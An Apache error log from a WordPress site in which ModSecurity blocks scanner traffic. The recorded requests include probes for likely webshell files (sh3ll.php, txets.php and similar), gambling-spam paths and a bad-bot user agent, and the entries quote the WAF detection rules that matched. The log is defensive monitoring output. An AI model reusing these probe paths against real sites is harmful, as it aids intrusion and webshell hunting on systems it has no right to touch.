[Fri Apr 03 01:35:49.029892 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:60117] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac6o9XhROcck6_9HYygaugAAANQ"]
[Fri Apr 03 01:35:49.530837 2026] [:error] [pid 25010:tid 25363] [client 158.158.110.103:56314] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac6o9Y_KcjFQF5TuqTWp0wAAAA4"]
[Fri Apr 03 01:35:50.031353 2026] [:error] [pid 25018:tid 25432] [client 158.158.110.103:40912] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/marijuana.php"] [unique_id "ac6o9nupR6lXnAUzFGr5CwAAAFM"]
[Fri Apr 03 01:35:50.512723 2026] [:error] [pid 25035:tid 25464] [client 158.158.110.103:54530] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/marijuana.php"] [unique_id "ac6o9hhR292toNOkLqG3sQAAAJY"]
[Fri Apr 03 01:35:51.003678 2026] [:error] [pid 25470:tid 25488] [client 158.158.110.103:42059] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/marijuana.php"] [unique_id "ac6o93hROcck6_9HYygawgAAANA"]
[Fri Apr 03 01:35:51.490602 2026] [:error] [pid 25010:tid 25370] [client 158.158.110.103:54549] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/marijuana.php"] [unique_id "ac6o94_KcjFQF5TuqTWp3AAAABU"]
[Fri Apr 03 01:35:52.068630 2026] [:error] [pid 25035:tid 25454] [client 158.158.110.103:56289] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac6o-BhR292toNOkLqG3tgAAAIw"]
[Fri Apr 03 01:35:52.568277 2026] [:error] [pid 25018:tid 25420] [client 158.158.110.103:58816] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac6o-HupR6lXnAUzFGr5FgAAAEc"]
[Fri Apr 03 01:35:53.077651 2026] [:error] [pid 25010:tid 25352] [client 158.158.110.103:52132] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac6o-Y_KcjFQF5TuqTWp5AAAAAQ"]
[Fri Apr 03 01:35:53.576855 2026] [:error] [pid 25035:tid 25465] [client 158.158.110.103:57003] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac6o-RhR292toNOkLqG3uQAAAJc"]
[Fri Apr 03 01:35:54.068401 2026] [:error] [pid 25018:tid 25423] [client 158.158.110.103:56317] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "ac6o-nupR6lXnAUzFGr5GwAAAEo"]
[Fri Apr 03 01:35:54.584847 2026] [:error] [pid 25010:tid 25356] [client 158.158.110.103:56283] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "ac6o-o_KcjFQF5TuqTWp7QAAAAg"]
[Fri Apr 03 01:35:55.142760 2026] [:error] [pid 25010:tid 25359] [client 158.158.110.103:40916] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "ac6o-4_KcjFQF5TuqTWp8gAAAAs"]
[Fri Apr 03 01:35:55.632013 2026] [:error] [pid 25035:tid 25453] [client 158.158.110.103:52211] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "ac6o-xhR292toNOkLqG3wAAAAIs"]
[Fri Apr 03 01:35:56.123540 2026] [:error] [pid 25010:tid 25365] [client 158.158.110.103:52187] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "ac6o_I_KcjFQF5TuqTWp-wAAABA"]
[Fri Apr 03 01:35:56.604019 2026] [:error] [pid 25018:tid 25429] [client 158.158.110.103:40938] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "ac6o_HupR6lXnAUzFGr5HQAAAFA"]
[Fri Apr 03 01:35:57.165435 2026] [:error] [pid 25010:tid 25353] [client 158.158.110.103:52221] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "ac6o_Y_KcjFQF5TuqTWqAwAAAAU"]
[Fri Apr 03 01:35:57.689391 2026] [:error] [pid 25010:tid 25361] [client 158.158.110.103:60144] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "ac6o_Y_KcjFQF5TuqTWqBgAAAAw"]
[Fri Apr 03 01:35:58.170835 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:40932] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "ac6o_nhROcck6_9HYyga0wAAAMs"]
[Fri Apr 03 01:35:58.671149 2026] [:error] [pid 25010:tid 25361] [client 158.158.110.103:54589] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "ac6o_o_KcjFQF5TuqTWqEgAAAAw"]
[Fri Apr 03 01:35:59.154524 2026] [:error] [pid 25018:tid 25437] [client 158.158.110.103:56275] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "ac6o_3upR6lXnAUzFGr5JAAAAFg"]
[Fri Apr 03 01:35:59.709737 2026] [:error] [pid 25010:tid 25352] [client 158.158.110.103:54583] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "ac6o_4_KcjFQF5TuqTWqGAAAAAQ"]
[Fri Apr 03 01:36:17.822869 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:56274] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac6pEY_KcjFQF5TuqTWqOwAAAAI"]
[Fri Apr 03 01:36:18.350529 2026] [:error] [pid 25018:tid 25414] [client 158.158.110.103:38309] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac6pEnupR6lXnAUzFGr5XQAAAEI"]
[Fri Apr 03 01:36:18.839902 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:60142] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac6pEnhROcck6_9HYygbNwAAANQ"]
[Fri Apr 03 01:36:19.329331 2026] [:error] [pid 25010:tid 25368] [client 158.158.110.103:54572] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac6pE4_KcjFQF5TuqTWqPQAAABM"]
[Fri Apr 03 01:36:19.809920 2026] [:error] [pid 25035:tid 25464] [client 158.158.110.103:56977] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac6pExhR292toNOkLqG4EwAAAJY"]
[Fri Apr 03 01:36:20.299168 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:56980] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac6pFHhROcck6_9HYygbRAAAANQ"]
[Fri Apr 03 01:36:20.794554 2026] [:error] [pid 25470:tid 25495] [client 158.158.110.103:52191] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac6pFHhROcck6_9HYygbSQAAANc"]
[Fri Apr 03 01:36:21.286690 2026] [:error] [pid 25035:tid 25456] [client 158.158.110.103:40946] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "ac6pFRhR292toNOkLqG4FwAAAI4"]
[Fri Apr 03 03:00:22.771905 2026] [:error] [pid 6638:tid 6667] [client 43.166.255.122:51904] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac68xs2khZ4zPe7L5k57XwAAAVc"]
[Fri Apr 03 03:52:22.168128 2026] [:error] [pid 22673:tid 22747] [client 91.108.80.41:51002] [client 91.108.80.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac7I9u-GlVDWdWxxwJBLCAAAAIE"]
[Fri Apr 03 04:09:40.733258 2026] [autoindex:error] [pid 22671:tid 22714] [client 31.220.80.169:64521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 03 04:27:49.130410 2026] [:error] [pid 22672:tid 22728] [client 49.51.72.236:46846] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac7RRazrgXkFSOK0fvpmQgAAAEk"]
[Fri Apr 03 05:06:41.255047 2026] [:error] [pid 22671:tid 22709] [client 114.96.103.33:36219] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac7aYSRuUnMW7r8hvyY8bAAAABI"]
[Fri Apr 03 05:32:39.624945 2026] [:error] [pid 22778:tid 22790] [client 45.154.98.56:61671] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac7gd_S-q9hkdFqUjq96GQAAAMU"]
[Fri Apr 03 05:32:40.114599 2026] [:error] [pid 58590:tid 58608] [client 45.154.98.56:61742] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac7geEze_aEPDM9xEE21RgAAARA"]
[Fri Apr 03 05:32:40.600618 2026] [:error] [pid 22673:tid 22759] [client 45.154.98.56:61808] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac7geO-GlVDWdWxxwJCCJwAAAI0"]
[Fri Apr 03 05:32:43.445559 2026] [:error] [pid 22778:tid 22794] [client 45.154.98.56:62302] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "ac7ge_S-q9hkdFqUjq96LgAAAMk"]
[Fri Apr 03 05:45:41.014870 2026] [:error] [pid 22672:tid 22719] [client 145.239.65.133:36324] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ac7jhazrgXkFSOK0fvqJWQAAAEA"]
[Fri Apr 03 05:45:43.121289 2026] [:error] [pid 58590:tid 58597] [client 145.239.65.133:52098] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ac7jh0ze_aEPDM9xEE3CawAAAQU"]
[Fri Apr 03 05:45:45.128097 2026] [:error] [pid 58590:tid 58604] [client 145.239.65.133:52110] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ac7jiUze_aEPDM9xEE3CdwAAAQw"]
[Fri Apr 03 05:45:46.968417 2026] [:error] [pid 58590:tid 58600] [client 145.239.65.133:37598] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ac7jikze_aEPDM9xEE3CjQAAAQg"]
[Fri Apr 03 05:45:48.807105 2026] [:error] [pid 22671:tid 22700] [client 145.239.65.133:37606] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ac7jjCRuUnMW7r8hvyZKvQAAAAk"]
[Fri Apr 03 05:45:50.801904 2026] [:error] [pid 22671:tid 22695] [client 145.239.65.133:37618] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ac7jjiRuUnMW7r8hvyZKwgAAAAQ"]
[Fri Apr 03 05:45:52.762586 2026] [:error] [pid 58590:tid 58613] [client 145.239.65.133:37624] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ac7jkEze_aEPDM9xEE3CqAAAARU"]
[Fri Apr 03 05:45:54.777482 2026] [:error] [pid 22778:tid 22788] [client 145.239.65.133:37628] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ac7jkvS-q9hkdFqUjq-CNgAAAMM"]
[Fri Apr 03 05:45:56.607522 2026] [:error] [pid 22778:tid 22791] [client 145.239.65.133:34660] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ac7jlPS-q9hkdFqUjq-COwAAAMY"]
[Fri Apr 03 05:45:58.417969 2026] [:error] [pid 58590:tid 58604] [client 145.239.65.133:34664] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ac7jlkze_aEPDM9xEE3CwwAAAQw"]
[Fri Apr 03 05:46:00.256352 2026] [:error] [pid 22671:tid 22713] [client 145.239.65.133:34666] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ac7jmCRuUnMW7r8hvyZK0gAAABY"]
[Fri Apr 03 05:46:02.089252 2026] [:error] [pid 22778:tid 22794] [client 145.239.65.133:34676] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ac7jmvS-q9hkdFqUjq-CRwAAAMk"]
[Fri Apr 03 05:46:04.061172 2026] [:error] [pid 58590:tid 58604] [client 145.239.65.133:34688] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ac7jnEze_aEPDM9xEE3C2QAAAQw"]
[Fri Apr 03 05:46:05.873703 2026] [:error] [pid 22778:tid 22793] [client 145.239.65.133:54874] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ac7jnfS-q9hkdFqUjq-CVgAAAMg"]
[Fri Apr 03 05:46:07.694034 2026] [:error] [pid 58590:tid 58605] [client 145.239.65.133:54878] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ac7jn0ze_aEPDM9xEE3C6QAAAQ0"]
[Fri Apr 03 05:46:09.648619 2026] [:error] [pid 58590:tid 58592] [client 145.239.65.133:54886] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ac7joUze_aEPDM9xEE3C9wAAAQA"]
